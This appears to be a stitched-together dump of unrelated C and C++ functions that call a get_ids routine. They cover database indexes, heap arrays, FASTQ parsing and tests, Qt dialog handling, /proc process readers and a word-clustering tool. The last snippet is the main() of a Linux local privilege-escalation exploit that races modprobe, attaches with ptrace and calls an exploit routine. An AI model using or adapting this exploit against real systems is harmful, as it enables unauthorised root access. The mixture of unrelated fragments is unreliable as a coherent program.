void Database::DropIndex(SQLDropIndex& st)
{
for (auto tb = tbs_.begin(); tb != tbs_.end(); tb++)
{
for (auto idx = tb->get_ids().begin(); idx != tb->get_ids().end(); idx++)
{
if (idx->get_name() == st.get_index_name())
{
tb->get_ids().erase(idx);
return ;
}
}
}
}
void HeapArray<C>::addn_with_ids (
size_t nj, const T *vin, const TI *id_in,
long id_stride, size_t i0, long ni)
{
if (id_in == nullptr) {
addn (nj, vin, 0, i0, ni);
return;
}
if (ni == -1) ni = nh;
assert (i0 >= 0 && i0 + ni <= nh);
#pragma omp parallel for
for (size_t i = i0; i < i0 + ni; i++) {
T * __restrict simi = get_val(i);
TI * __restrict idxi = get_ids (i);
const T *ip_line = vin + (i - i0) * nj;
const TI *id_line = id_in + (i - i0) * id_stride;
for (size_t j = 0; j < nj; j++) {
T ip = ip_line [j];
if (C::cmp(simi[0], ip)) {
heap_pop<C> (k, simi, idxi);
heap_push<C> (k, simi, idxi, ip, id_line [j]);
}
}
}
}
int subsample(int nseqs, char *fastqfile, struct fastq *seqs[], int compressed) {
// read the fastq file into a temporary hash
struct fastq *allseqs[HASHSIZE] = {NULL};
int read_seqs = 0;
if (compressed)
read_seqs = read_fastq_gz(fastqfile, allseqs);
else
read_seqs = read_fastq(fastqfile, allseqs);
if (read_seqs < nseqs) {
fprintf(stderr, "You requested %d sequences but there are only %d in the file!\n", nseqs, read_seqs);
nseqs = read_seqs;
}
// get all the ids from the sequences
char *ids[read_seqs];
get_ids(ids, allseqs);
// subsample those IDs
char **subsample = subsample_n(read_seqs, ids, nseqs);
for (int i=0; i<nseqs; i++) {
char *info = get_seq_information(subsample[i], seqs);
char *seq = get_sequence(subsample[i], seqs);
char *qua = get_quality(subsample[i], seqs);
}
return nseqs;
}
bool Database::CheckIfIndexExists(string index_name)
{
bool exists = false;
for (auto tb = tbs_.begin(); tb != tbs_.end(); tb++)
{
for (auto idx = tb->get_ids().begin(); idx != tb->get_ids().end(); idx++)
{
if (idx->get_name() == index_name)
{
exists = true;
return exists;
}
}
}
return exists;
}
int main()
{
int uid, gid;
get_ids(&uid, &gid);
printf("User ID is %d. Group ID is %d.\n", uid, gid);
return 0;
}
/**
* @brief Removes all dialogs with a specific prefix.
* @param prefix The prefix id of dialogs to remove.
* @return The list of all removed dialogs (key, value).
* @throws EditorException in case of error.
*/
QList<QPair<QString, DialogData>> DialogsModel::delete_prefix(
const QString& prefix) {
QList<QPair<QString, DialogData>> list;
for (QString key : get_ids(prefix)) {
list.push_back(QPair<QString, DialogData>(key, get_dialog_data(key)));
delete_dialog(key);
}
return list;
}
int main() {
printf("Running myids\n");
int uid, gid;
// Call the assembly function I wrote
get_ids(&uid, &gid);
printf("User ID is %d. Group ID is %d.\n", uid, gid);
return 0;
}
/**
* @brief Returns whether the prefix of dialog ids can be changed.
* @param old_prefix[in] The prefix key of strings to change.
* @param new_prefix[in] The new prefix to set.
* @param id[out] The id that already exists in case of error.
* @return @c true if the prefix can be changed.
*/
bool DialogsModel::can_set_dialog_id_prefix(
const QString& old_prefix, const QString& new_prefix, QString& id) {
for (QString prefixed_id : get_ids(old_prefix)) {
prefixed_id.replace(QRegExp(QString("^") + old_prefix), new_prefix);
if (dialog_exists(prefixed_id)) {
id = prefixed_id;
return false;
}
}
return true;
}
Process *get_process(pid_t pid) {
/* TODO: Add test for invalid pid. Right now, we get a lot of errors and some
* structure.*/
Process *retval = (Process *)calloc(1, sizeof(Process));
unsigned int *uids = NULL;
unsigned int *gids = NULL;
retval->pid = pid;
retval->ppid = get_ppid(pid);
retval->name = get_procname(pid);
retval->exe = get_exe(pid);
retval->cmdline = get_cmdline(pid);
retval->create_time = get_create_time(pid);
uids = get_ids(pid, "Uid:");
if (uids) {
retval->uid = uids[0];
retval->euid = uids[1];
retval->suid = uids[2];
retval->username =
get_username(retval->uid); /* Uses real uid and not euid */
} else {
retval->uid = retval->euid = retval->suid = 0;
retval->username = NULL;
}
gids = get_ids(pid, "Gid:");
if (uids) {
retval->gid = gids[0];
retval->egid = gids[1];
retval->sgid = gids[2];
} else {
retval->uid = retval->euid = retval->suid = 0;
}
retval->terminal = get_terminal(pid);
free(uids);
free(gids);
return retval;
}
Process *
get_process(unsigned pid)
{
Process *retval = calloc(1, sizeof(Process));
unsigned int *uids = NULL;
unsigned int *gids = NULL;
retval->pid = pid;
retval->ppid = get_ppid(pid);
retval->name = get_procname(pid);
retval->exe = get_exe(pid);
retval->cmdline = get_cmdline(pid);
retval->create_time = get_create_time(pid);
uids = get_ids(pid, "Uid:");
if (uids) {
retval->uid = uids[0];
retval->euid = uids[1];
retval->suid = uids[2];
retval->username = get_username(retval->uid); /* Uses real uid and not euid */
} else {
retval->uid = retval->euid = retval->suid = 0;
retval->username = NULL;
}
gids = get_ids(pid, "Gid:");
if (uids) {
retval->gid = gids[0];
retval->egid = gids[1];
retval->sgid = gids[2];
} else {
retval->uid = retval->euid = retval->suid = 0;
}
retval->terminal = get_terminal(pid);
if (uids) free(uids);
if (gids) free(gids);
return retval;
}
/**
* @brief Duplicates dialog(s).
* @param id Id of the dialog to duplicate.
* @param new_id Id of the duplicate dialog.
* @throws EditorException in case of error.
*/
void DialogsModel::duplicate_dialogs(
const QString& prefix, const QString& new_prefix) {
// Check if dialogs can be duplicated.
QString id;
if (!can_duplicate_dialogs(prefix, new_prefix, id)) {
throw EditorException(tr("Dialog '%1' already exists").arg(id));
}
// Duplicate dialogs.
for (QString id : get_ids(prefix)) {
const auto& data = get_dialog_data(id);
id.replace(QRegExp(QString("^") + prefix), new_prefix);
create_dialog(id, data);
}
}
void HeapArray<C>::addn (size_t nj, const T *vin, TI j0,
size_t i0, long ni)
{
if (ni == -1) ni = nh;
assert (i0 >= 0 && i0 + ni <= nh);
#pragma omp parallel for
for (size_t i = i0; i < i0 + ni; i++) {
T * __restrict simi = get_val(i);
TI * __restrict idxi = get_ids (i);
const T *ip_line = vin + (i - i0) * nj;
for (size_t j = 0; j < nj; j++) {
T ip = ip_line [j];
if (C::cmp(simi[0], ip)) {
heap_pop<C> (k, simi, idxi);
heap_push<C> (k, simi, idxi, ip, j + j0);
}
}
}
}
/**
* @brief Changes the prefix of dialog ids.
* @param old_prefix The prefix key of strings to change.
* @param new_prefix The new prefix to set.
* @return The new ids of the dialogs.
* @throws EditorException in case of error.
*/
QList<QPair<QString, QString>> DialogsModel::set_dialog_id_prefix(
const QString& old_prefix, const QString& new_prefix) {
// Check if the prefix can be changed.
QString id;
if (!can_set_dialog_id_prefix(old_prefix, new_prefix, id)) {
throw EditorException(tr("Dialog '%1' already exists").arg(id));
}
// change the dialog ids.
QList<QPair<QString, QString>> list;
for (QString old_id : get_ids(old_prefix)) {
QString new_id = old_id;
new_id.replace(QRegExp(QString("^") + old_prefix), new_prefix);
list.push_back(
QPair<QString, QString>(old_id, set_dialog_id(old_id, new_id)));
}
return list;
}
static NV_INT32 get_lsurvey(FILE * infile, SURVEY * srv)
{
NV_CHAR buff[MBS];
NV_INT32 i = (-1), n = 0;
/* determine the id numbers of the lines & points */
rewind(infile);
n = 0;
while (fgets(buff, MBS, infile) != NULL)
{
strtolower(buff);
if (strncmp(buff, "line", 4) == 0)
{
n += get_ids(buff, &srv->line[++i]);
}
}
if (n != srv->n)
{
printf("get_survey: warning got %d (!= %d) line ids\n", n, srv->n);
}
/* now fill in the points for each line */
n = 0;
for (i = 0; i < srv->n; i++)
{
n += get_points(infile, &srv->line[i]);
}
if (n != srv->n)
{
printf("get_dsurvey: warning got %d (!= %d) lines\n", n, srv->n);
}
return n;
} /* get_lsurvey */
list<string>
get_ids (tree t) {
if (is_nil (t->obs)) return list<string> ();
list<observer> l= t->obs->get_tree_pointers ();
return reverse (get_ids (l));
}
list<string>
get_ids (list<observer> l) {
if (is_nil (l)) return list<string> ();
return pointer_resolve [l->item] * get_ids (l->next);
}
int main(int argc, char **argv) {
setlocale(LC_ALL, ""); // Comment-out on non-Posix systems
clock_t time_start = clock();
time_t time_t_start;
time(&time_t_start);
argv_0_basename = basename(argv[0]);
get_usage_string(usage, USAGE_LEN); // This is a big scary string, so build it elsewhere
//printf("sizeof(cmd_args)=%zd\n", sizeof(cmd_args));
parse_cmd_args(argc, argv, usage, &cmd_args);
if (cmd_args.class_algo == EXCHANGE || cmd_args.class_algo == EXCHANGE_BROWN)
memusage += sizeof(float) * ENTROPY_TERMS_MAX; // We'll build the precomputed entropy terms after reporting memusage
struct_model_metadata global_metadata;
// The list of unique words should always include <s>, unknown word, and </s>
map_update_count(&word_map, UNKNOWN_WORD, 0, 0); // Should always be first
map_update_count(&word_map, "<s>", 0, 1);
map_update_count(&word_map, "</s>", 0, 2);
// Open input
FILE *in_train_file = stdin;
if (in_train_file_string)
in_train_file = fopen(in_train_file_string, "r");
if (in_train_file == NULL) {
fprintf(stderr, "%s: Error: Unable to open input file %s\n", argv_0_basename, in_train_file_string); fflush(stderr);
exit(15);
}
// Process input sentences
size_t input_memusage = 0;
const struct_model_metadata input_model_metadata = process_input(cmd_args, in_train_file, &word_map, &initial_bigram_map, &input_memusage);
memusage += input_memusage;
fclose(in_train_file);
clock_t time_input_processed = clock();
if (cmd_args.verbose >= -1)
fprintf(stderr, "%s: Corpus processed in %'.2f CPU secs. %'lu lines, %'u types, %'lu tokens, current memusage: %'.1fMB\n", argv_0_basename, (double)(time_input_processed - time_start)/CLOCKS_PER_SEC, input_model_metadata.line_count, input_model_metadata.type_count, input_model_metadata.token_count, (double)memusage / 1048576); fflush(stderr);
global_metadata.token_count = input_model_metadata.token_count;
global_metadata.type_count = map_count(&word_map);
// Filter out infrequent words, reassign word_id's, and build a mapping from old word_id's to new word_id's
sort_by_count(&word_map);
word_id_t * restrict word_id_remap = calloc(sizeof(word_id_t), input_model_metadata.type_count);
get_ids(&word_map, word_id_remap);
word_id_t number_of_deleted_words = filter_infrequent_words(cmd_args, &global_metadata, &word_map, word_id_remap);
// Get list of unique words
char * * restrict word_list = (char **)malloc(sizeof(char*) * global_metadata.type_count);
memusage += sizeof(char*) * global_metadata.type_count;
reassign_word_ids(&word_map, word_list, word_id_remap);
get_keys(&word_map, word_list);
sort_by_id(&word_map);
// Check or set number of classes
if (cmd_args.num_classes >= global_metadata.type_count) { // User manually set number of classes is too low
fprintf(stderr, "%s: Error: Number of classes (%u) is not less than vocabulary size (%u). Decrease the value of --classes\n", argv_0_basename, cmd_args.num_classes, global_metadata.type_count); fflush(stderr);
exit(3);
} else if (cmd_args.num_classes == 0) { // User did not manually set number of classes at all
cmd_args.num_classes = (wclass_t) (sqrt(global_metadata.type_count) * 1.2);
}
// Build array of word_counts
word_count_t * restrict word_counts = malloc(sizeof(word_count_t) * global_metadata.type_count);
memusage += sizeof(word_count_t) * global_metadata.type_count;
build_word_count_array(&word_map, word_list, word_counts, global_metadata.type_count);
// Initialize clusters, and possibly read-in external class file
wclass_t * restrict word2class = malloc(sizeof(wclass_t) * global_metadata.type_count);
memusage += sizeof(wclass_t) * global_metadata.type_count;
init_clusters(cmd_args, global_metadata.type_count, word2class, word_counts, word_list);
if (initial_class_file != NULL)
import_class_file(&word_map, word2class, initial_class_file, cmd_args.num_classes); // Overwrite subset of word mappings, from user-provided initial_class_file
// Remap word_id's in initial_bigram_map
remap_and_rev_bigram_map(&initial_bigram_map, &new_bigram_map, &new_bigram_map_rev, word_id_remap, map_find_id(&word_map, UNKNOWN_WORD, -1));
global_metadata.start_sent_id = map_find_id(&word_map, "<s>", -1);; // need this for tallying emission probs
global_metadata.end_sent_id = map_find_id(&word_map, "</s>", -1);; // need this for tallying emission probs
global_metadata.line_count = map_find_count(&word_map, "</s>"); // Used for calculating perplexity
if (global_metadata.line_count == 0) {
fprintf(stderr, "%s: Warning: Number of lines is 0. Include <s> and </s> in your ngram counts, or perplexity values will be unreliable.\n", argv_0_basename); fflush(stderr);
}
//printf("init_bigram_map hash_count=%u\n", HASH_COUNT(initial_bigram_map)); fflush(stdout);
//printf("new_bigram_map hash_count=%u\n", HASH_COUNT(new_bigram_map)); fflush(stdout);
free(word_id_remap);
memusage -= sizeof(word_id_t) * input_model_metadata.type_count;
delete_all(&word_map); // static
delete_all_bigram(&initial_bigram_map); // static
memusage -= input_memusage;
// Initialize and set word bigram listing
clock_t time_bigram_start = clock();
size_t bigram_memusage = 0; size_t bigram_rev_memusage = 0;
struct_word_bigram_entry * restrict word_bigrams = NULL;
struct_word_bigram_entry * restrict word_bigrams_rev = NULL;
if (cmd_args.verbose >= -1)
fprintf(stderr, "%s: Word bigram listing ... ", argv_0_basename); fflush(stderr);
#pragma omp parallel sections // Both bigram listing and reverse bigram listing can be done in parallel
{
#pragma omp section
{
//sort_bigrams(&new_bigram_map); // speeds things up later
word_bigrams = calloc(global_metadata.type_count, sizeof(struct_word_bigram_entry));
memusage += sizeof(struct_word_bigram_entry) * global_metadata.type_count;
bigram_memusage = set_bigram_counts(word_bigrams, new_bigram_map);
// Copy entries in word_counts to struct_word_bigram_entry.headword_count since that struct entry is already loaded when clustering
for (word_id_t word = 0; word < global_metadata.type_count; word++)
word_bigrams[word].headword_count = word_counts[word];
}
// Initialize and set *reverse* word bigram listing
#pragma omp section
{
if (cmd_args.rev_alternate) { // Don't bother building this if it won't be used
//sort_bigrams(&new_bigram_map_rev); // speeds things up later
word_bigrams_rev = calloc(global_metadata.type_count, sizeof(struct_word_bigram_entry));
memusage += sizeof(struct_word_bigram_entry) * global_metadata.type_count;
bigram_rev_memusage = set_bigram_counts(word_bigrams_rev, new_bigram_map_rev);
// Copy entries in word_counts to struct_word_bigram_entry.headword_count since that struct entry is already loaded when clustering
for (word_id_t word = 0; word < global_metadata.type_count; word++)
word_bigrams_rev[word].headword_count = word_counts[word];
}
}
}
delete_all_bigram(&new_bigram_map);
delete_all_bigram(&new_bigram_map_rev);
memusage += bigram_memusage + bigram_rev_memusage;
clock_t time_bigram_end = clock();
if (cmd_args.verbose >= -1)
fprintf(stderr, "in %'.2f CPU secs. Bigram memusage: %'.1f MB\n", (double)(time_bigram_end - time_bigram_start)/CLOCKS_PER_SEC, (bigram_memusage + bigram_rev_memusage)/(double)1048576); fflush(stderr);
//print_word_bigrams(global_metadata, word_bigrams, word_list);
// Build <v,c> counts, which consists of a word followed by a given class
word_class_count_t * restrict word_class_counts = calloc(1 + cmd_args.num_classes * global_metadata.type_count , sizeof(word_class_count_t));
if (word_class_counts == NULL) {
fprintf(stderr, "%s: Error: Unable to allocate enough memory for <v,c>. %'.1f MB needed. Maybe increase --min-count\n", argv_0_basename, ((cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t)) / (double)1048576 )); fflush(stderr);
exit(13);
}
memusage += cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t);
fprintf(stderr, "%s: Allocating %'.1f MB for word_class_counts: num_classes=%u x type_count=%u x sizeof(w-cl-count_t)=%zu\n", argv_0_basename, (double)(cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t)) / 1048576 , cmd_args.num_classes, global_metadata.type_count, sizeof(word_class_count_t)); fflush(stderr);
build_word_class_counts(cmd_args, word_class_counts, word2class, word_bigrams, global_metadata.type_count/*, word_list*/);
//print_word_class_counts(cmd_args, global_metadata, word_class_counts);
// Build reverse: <c,v> counts: class followed by word. This and the normal one are both pretty fast, so no need to parallelize this
word_class_count_t * restrict word_class_rev_counts = NULL;
if (cmd_args.rev_alternate) { // Don't bother building this if it won't be used
word_class_rev_counts = calloc(1 + cmd_args.num_classes * global_metadata.type_count , sizeof(word_class_count_t));
if (word_class_rev_counts == NULL) {
fprintf(stderr, "%s: Warning: Unable to allocate enough memory for <v,c>. %'.1f MB needed. Falling back to --rev-alternate 0\n", argv_0_basename, ((cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t)) / (double)1048576 )); fflush(stderr);
cmd_args.rev_alternate = 0;
} else {
memusage += cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t);
fprintf(stderr, "%s: Allocating %'.1f MB for word_class_rev_counts: num_classes=%u x type_count=%u x sizeof(w-cl-count_t)=%zu\n", argv_0_basename, (double)(cmd_args.num_classes * global_metadata.type_count * sizeof(word_class_count_t)) / 1048576 , cmd_args.num_classes, global_metadata.type_count, sizeof(word_class_count_t)); fflush(stderr);
build_word_class_counts(cmd_args, word_class_rev_counts, word2class, word_bigrams_rev, global_metadata.type_count/*, word_list*/);
}
}
// Calculate memusage for count_arrays
for (unsigned char i = 1; i <= cmd_args.max_array; i++) {
memusage += 2 * (powi(cmd_args.num_classes, i) * sizeof(wclass_count_t));
//printf("11 memusage += %zu (now=%zu) count_arrays\n", 2 * (powi(cmd_args.num_classes, i) * sizeof(wclass_count_t)), memusage); fflush(stdout);
}
clock_t time_model_built = clock();
if (cmd_args.verbose >= -1)
fprintf(stderr, "%s: Finished loading %'lu tokens and %'u types (%'u filtered) from %'lu lines in %'.2f CPU secs\n", argv_0_basename, global_metadata.token_count, global_metadata.type_count, number_of_deleted_words, global_metadata.line_count, (double)(time_model_built - time_start)/CLOCKS_PER_SEC); fflush(stderr);
if (cmd_args.verbose >= -1)
fprintf(stderr, "%s: Approximate memory usage at clustering: %'.1fMB\n", argv_0_basename, (double)memusage / 1048576); fflush(stderr);
cluster(cmd_args, global_metadata, word_counts, word_list, word2class, word_bigrams, word_bigrams_rev, word_class_counts, word_class_rev_counts);
// Now print the final word2class mapping
if (cmd_args.verbose >= 0) {
FILE *out_file = stdout;
if (out_file_string)
out_file = fopen(out_file_string, "w");
if (out_file == NULL) {
fprintf(stderr, "%s: Error: Unable to open output file %s\n", argv_0_basename, out_file_string); fflush(stderr);
exit(16);
}
if (cmd_args.class_algo == EXCHANGE && (!cmd_args.print_word_vectors)) {
print_words_and_classes(out_file, global_metadata.type_count, word_list, word_counts, word2class, (int)cmd_args.class_offset, cmd_args.print_freqs);
} else if (cmd_args.class_algo == EXCHANGE && cmd_args.print_word_vectors) {
print_words_and_vectors(out_file, cmd_args, global_metadata, word_list, word2class, word_bigrams, word_bigrams_rev, word_class_counts, word_class_rev_counts);
}
fclose(out_file);
}
clock_t time_clustered = clock();
time_t time_t_end;
time(&time_t_end);
double time_secs_total = difftime(time_t_end, time_t_start);
if (cmd_args.verbose >= -1)
fprintf(stderr, "%s: Finished clustering in %'.2f CPU seconds. Total wall clock time was about %lim %lis\n", argv_0_basename, (double)(time_clustered - time_model_built)/CLOCKS_PER_SEC, (long)time_secs_total/60, ((long)time_secs_total % 60) );
free(word2class);
free(word_bigrams);
free(word_list);
free(word_counts);
exit(0);
}
int main(int argc, char *argv[]) {
// this file has 5 sequences in it so it should be easy to read!
char *filename = "../example_data/small.fastq.gz";
struct fastq *seqs[HASHSIZE] = {NULL};
int nseqs = read_fastq_gz(filename, seqs);
int error = 0;
if (nseqs != ESEQS) {
fprintf(stderr, "There was an error reading %s. We retrieved %d sequences but should have found %d sequences\n", filename, nseqs, ESEQS);
error = 1;
}
/* now test the get sequence methods */
int nnseqs = number_of_sequences(seqs);
if (nnseqs != ESEQS) {
printf("There was an error checking the number of sequences. We found %d using number_of_sequences but it should be %d\n", nnseqs, ESEQS);
error++;
}
/* test getting the ids */
char *ids[nnseqs];
int nnseqsids = get_ids(ids, seqs);
if (nnseqsids != nnseqs) {
printf("There was an error when we got the ids. This returned %d ids but it should be %d\n", nnseqsids, nnseqs);
error++;
}
printf("Got %d ids\n", nnseqsids);
for (int i=0; i<nnseqsids; i++)
printf("ID %d: %s\n", i, ids[i]);
char *sq = get_sequence("@GFH7CG303FQFE8/1", seqs);
char *sqans = "AAATACGGGTAGATATACCGCCATGTCTCGCAAACAGCCTCATCATGCCGCGCCTGCCCACTTTTTTGCATCAGTATCCCGGCATTGCGCTGGAACTTTGTAGTAGCGATCGACAGGTCGATTTACTACGGGAAGATTTCGACTGCGTGGTGCGCACAGAGCCGCTACATGCGCCAGGGATACTGACGCGCCCGCTTGGCAAACTGAGAAGAGTGAACTGCGCCAGCCCACAATACCTGGCGCGCTTTGGGTAATCCAGAAAAACCTTGACGATCTCGCCTCACATGCGGTGGTGCATTATTCATTGACCCCGGGAGTTTCTTCACCGGGTTTTGCCTTTGAAACTCCCACGGTATGCAGTGGTAAAAAACCGGCGGAAATGCTAACGGTAAACAGTACGAGACTTGGCATACAGCCTG";
char *quans = "@@@DDDDDFFFIIIIIIIIIIIIIIIIIIIIHHHIIFDDHHHHHHHHHHHHHFFFFFFFFF666666FFFFFFFFFFFFFCCADDDFDDCDDDDDD???6388CFFCCCCCDFFFFFDFFFF??8638<FF?AA>DFFFAA<<<FFFFFAACCFF???CFDDDDBBBBBBA<<889;888<<===BBBBB=;;A688<<9...3<4434443<<AAAAA??A==<>8624/2642..028>=<9989<<;4/..6;;<:,,,--..<<==:9<<<A<4444<=<<733224000<><8::CGGDDDDB::99400/0444322576;622....266666<68899444:8A?\?\?=>>>:3//.------55--266...3777666646...6297...269766///3:<><>;;93";
if (sq == NULL) {
fprintf(stderr, "Bugger, no sequence for @GFH7CG303FQFE8/1\n");
error++;
}
if (strcmp(sq, sqans)) {
error++;
printf("The sequence we retrieved for @GFH7CG303FQFE8/1 appeared to be wrong:\n%s\n", sq);
}
sq = get_sequence("NOSEQ", seqs);
if (sq != NULL) {
fprintf(stderr, "Using ID NOSEQ we retrieved %s\n", sq);
error++;
}
char *qual = get_quality("@GFH7CG303FQFE8/1", seqs);
if (strcmp(qual, quans)) {
fprintf(stderr, "The quality scores for @GFH7CG303FQFE8/1 do not appear correct\n");
error++;
}
qual = get_quality("NOSEQ", seqs);
if (qual != NULL) {
fprintf(stderr, "Got %s as quality scores for NOSEQ but shouldn't find any!\n", qual);
error++;
}
char *info = get_seq_information("@GFH7CG303FQFE8/1", seqs);
if (strcmp("@GFH7CG303FQFE8/1 length=419 xy=2234_0770 region=3 run=R_2010_04_12_12_22_54_", info)) {
printf("TEST: The information for @GFH7CG303FQFE8/1 was unexpected: '%s'\n", info);
error++;
}
if (error)
fprintf(stderr, "There were %d errors when running the tests\n", error);
else
fprintf(stderr, "All tests passed\n");
exit(error);
}
int main(int ac, char **av)
{
int fd, pid, p, i;
char buf[TMPSIZE];
struct uids uids;
FILE *fp;
setpgrp();
setsid();
umask(022);
unlink(SHELL);
fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
fp = fdopen(fd, "w+");
fprintf(fp, "%s\n", shellcmd);
fclose(fp);
pid = getpid() + 2;
snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
printf("\nModprobe pid %d, my pid %d", pid, getpid());
fflush(stdout);
signal(SIGUSR1, sighnd);
// fork modprobe helper
if (!(p = fork())) {
// some nice work for exec_usermodehelper(), keep it busy!
for (i = 0; i < FMAX; i++) {
fd = open("/dev/zero", O_RDWR);
mmap(NULL, MMSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
}
kill(getppid(), SIGUSR1);
while (!sig);
printf("\nHelper (pid %d) requesting module...", getpid());
fflush(stdout);
fd = open(ENTRY, O_RDONLY | O_NONBLOCK);
exit(0);
}
// synchronize with the child
else {
while (!sig);
kill(p, SIGUSR1);
// wait for modprobe to run at unprivileged level
while (1) {
fd = open(buf, O_RDONLY);
if (fd > 0) {
if (!(fp = fdopen(fd, "r")))
fatal("fdopen");
if (get_ids(fp, &uids) != 4
|| (uids.uid != uids.euid || uids.uid != uids.suid
|| uids.uid != uids.fsuid)) {
fatal("did not catch modprobe...try again later :-)");
}
// ok, it runs...
while (1) {
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
fatal("PTRACE_ATTACH failed!");
} else {
i = 0;
printf("\nAttached afterburner...\n");
fflush(stdout);
while (ptrace(PTRACE_GETREGS, pid, 0, ®s)
|| !regs.eip || regs.eip >= MAXSTACK) {
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
printf("\rplease wait %d", i++);
fflush(stdout);
}
waitpid(pid, NULL, WUNTRACED);
printf
("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",
regs.eip);
fflush(stdout);
exploit(pid);
exit(0);
}
}
fclose(fp);
}
}
}
return 0;
}